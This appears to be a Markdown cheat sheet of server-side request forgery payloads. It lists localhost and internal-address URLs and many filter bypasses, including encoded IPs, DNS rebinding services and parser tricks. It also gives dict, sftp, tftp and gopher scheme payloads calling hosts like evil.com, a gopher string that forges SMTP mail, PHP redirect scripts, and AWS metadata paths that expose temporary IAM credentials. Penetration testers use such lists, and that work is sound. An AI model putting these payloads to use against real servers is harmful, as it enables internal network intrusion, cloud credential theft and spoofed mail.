# Server-Side Request Forgery
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him.

## Exploit with localhost

Basic SSRF v1
```
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
```

Basic SSRF v2
```
http://localhost:80
http://localhost:443
http://localhost:22
```

Advanced exploit using a redirection
```
1. Create a subdomain pointing to 192.168.0.1 with DNS A record  e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
```

Advanced exploit using type=url
```
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
```

## Bypassing filters
Bypass using HTTPS
```
https://127.0.0.1/
https://localhost/
```

Bypass localhost with [::]
```
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
```

```
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
```


Bypass localhost with a domain redirecting to locahost
```
http://localtest.me
http://n-pn.info
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
```
The service nip.io is awesome for that, it will convert any ip address as a dns.
```
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
```

Bypass localhost with CIDR : 127.x.x.x
```
it's a /8
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
```

Bypass using a decimal ip location
```
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
```

Bypass using malformed urls
```
localhost:+11211aaa
localhost:00011211aaaa
```

Bypass using rare address
```
http://0/
```

Bypass using bash variables (curl only)
```
curl -v "http://evil$google.com"

$google = ""
```

Bypass using tricks combination
```
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
```

Bypass using enclosed alphanumerics [@EdOverflow](https://twitter.com/EdOverflow)
```
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```


## SSRF via URL Scheme

Dict://   
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
```
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```

Sftp://
```
ssrf.php?url=sftp://evil.com:11111/
```

Tftp://
```
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```

Ldap://
```
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```

Gopher://
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !


.
QUIT
```

Gopher:// SMTP - Back connect to 1337
```php
Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>

Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
Gopher:// SMTP - send a mail
```php
Content of evil.com/redirect.php:
<?php
        $commands = array(
                'HELO victim.com',
                'MAIL FROM: <admin@victim.com>',
                'RCPT To: <sxcurity@oou.us>',
                'DATA',
                'Subject: @sxcurity!',
                'Corben was here, woot woot!',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://0:25/_'.$payload);
?>
```


## SSRF on AWS Bucket
Interesting path to look for at http://169.254.169.254
```
Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
```

DNS record
```
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/
```

HTTP redirect
```
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
```

Alternate IP encoding
```
http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding
```



## Thanks to
* [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
* [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648)
* [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
* [#HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai](https://www.youtube.com/watch?v=D1S-G8rJrEk)
* [SSRF Tips - xl7dev](http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
* [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748)
* [Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat](https://www.dailysecurity.fr/server-side-request-forgery/)
* [AppSecEU15 Server side browsing considered harmful - @Agarri](http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
* [Enclosed alphanumerics - @EdOverflow](https://twitter.com/EdOverflow)
* [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity](http://www.sxcurity.pro/2017/12/17/hackertarget/)
* [PHP SSRF @secjuice](https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51)
